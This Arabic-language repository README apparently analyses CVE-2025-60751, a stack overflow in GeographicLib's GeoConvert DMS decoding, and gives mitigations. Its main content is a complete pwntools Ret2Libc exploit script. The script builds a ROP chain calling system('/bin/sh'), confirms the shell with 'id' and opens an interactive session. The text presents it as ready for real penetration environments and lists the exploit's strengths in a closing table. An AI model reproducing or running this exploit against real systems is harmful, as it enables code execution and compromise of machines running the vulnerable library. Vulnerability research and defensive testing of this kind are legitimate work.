
تحليل فني واستغلال احترافي لـ CVE-2025-60751، وهي ثغرة تجاوز سعة المخزن المؤقت المستندة إلى المكدس في GeographicLib. يشمل استغلال Ret2Libc المبني على pwntools مع اكتشاف ديناميكي لأدوات ROP، وتكامل GDB، والتحقق بعد الاستغلال لاختبار الاختراق التعليمي.
📌 يحتوي هذا المستودع على تحليل وتوثيق فني للثغرة الأمنية CVE-2025-60751، وهي خطأ تجاوز سعة المخزن المؤقت القائم على المكدس (Stack-based Buffer Overflow) الموجود في مكتبة C++ GeographicLib.
توجد الثغرة في الدالة DMS::InternalDecode داخل المكون GeoConvert.
يحدث الخطأ عندما تحاول المكتبة معالجة سلاسل إحداثيات بتنسيق DMS (الدرجات، الدقائق، الثواني) غير صالحة أو طويلة بشكل مفرط، مما يؤدي إلى كتابة خارج حدود المخزن المؤقت المخصص على المكدس.
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow (CWE-121)7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hيمكن للمهاجم عن بُعد إرسال سلسلة إحداثيات مصممة خصيصاً لـ:
GeographicLib لتحويل الإحداثيات.⚠️ ملاحظة فنية: على الرغم من أن المتجه الحالي يركز على التوفر (
A:H)، إلا أنه في بيئات محددة بدون حماية ذاكرة حديثة (مثل Stack Canaries، أو NX bit، أو ASLR النشط)، قد يتصاعد هذا الخطأ إلى تنفيذ كود تعسفي.
| المنتج | الإصدار الضعيف | التوزيعات المكتشفة |
|---|---|---|
GeographicLib | 2.5 | الحزم في Debian LTS، Ubuntu، ومستودعات لينكس الأخرى التي تتضمن هذا الإصدار |
✅ التحديث: يُوصى بشدة بالتحديث إلى أحدث إصدار متاح من GeographicLib، حيث تم تصحيح التحقق من الطول في InternalDecode.
✅ التحقق من الإدخال: إذا لم يكن التحديث ممكناً، قم بتنفيذ طبقة تعقيم تحد من طول السلاسل المرسلة إلى DMS::Decode (مثال: حد أقصى 32 حرفًا).
✅ التجميع الآمن: تأكد من تجميع المكتبة مع أعلام حماية المكدس:
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0mattيستخدم هذا الاستغلال pwntools لتنفيذ هجوم Ret2Libc مستفيداً من تجاوز سعة المخزن المؤقت.
على عكس الإصدارات الأساسية، هذا التنفيذ قوي وديناميكي وقابل للتحقق، جاهز لبيئات الاختراق الحقيقية والمختبرات.
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Author: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ إخلاء مسؤولية
هذا المستودع لأغراض إعلامية وتعليمية بحتة لمحترفي الأمن السيبراني.
استخدام هذه المعلومات لأغراض غير مشروعة هو مسؤولية المستخدم حصراً.
❗ استخدم الكود بحذر: فقط في بيئات مصرح بها ومعزولة وبإذن صريح.
🔐 الأمان ليس ميزة — إنه انضباط.
📬 الإبلاغ عن النتائج: [email protected]
📦 المستودع الرسمي: https://github.com/geographiclib/geographiclib
| الخاصية | الفائدة |
|---|
ROP(elf) ديناميكي | لا يعتمد على أدوات ثابتة: بل يجدها تلقائياً في الملف الثنائي. |
دعم مدمج لـ GDB | تنفيذ python exploit.py GDB → يفتح جلسة تصحيح أخطاء تلقائياً. |
| التحقق بعد الاستغلال | يرسل id ويؤكد وجود القشرة قبل تسليم التحكم التفاعلي. |
RET لمحاذاة المكدس | يتجنب الأعطال في system() بسبب المحاذاة غير الصحيحة (حرج في x64). |
الحمولة منظمة على شكل list + b"".join() | نظيفة، قابلة للقراءة، سهلة التعديل والتوسيع. |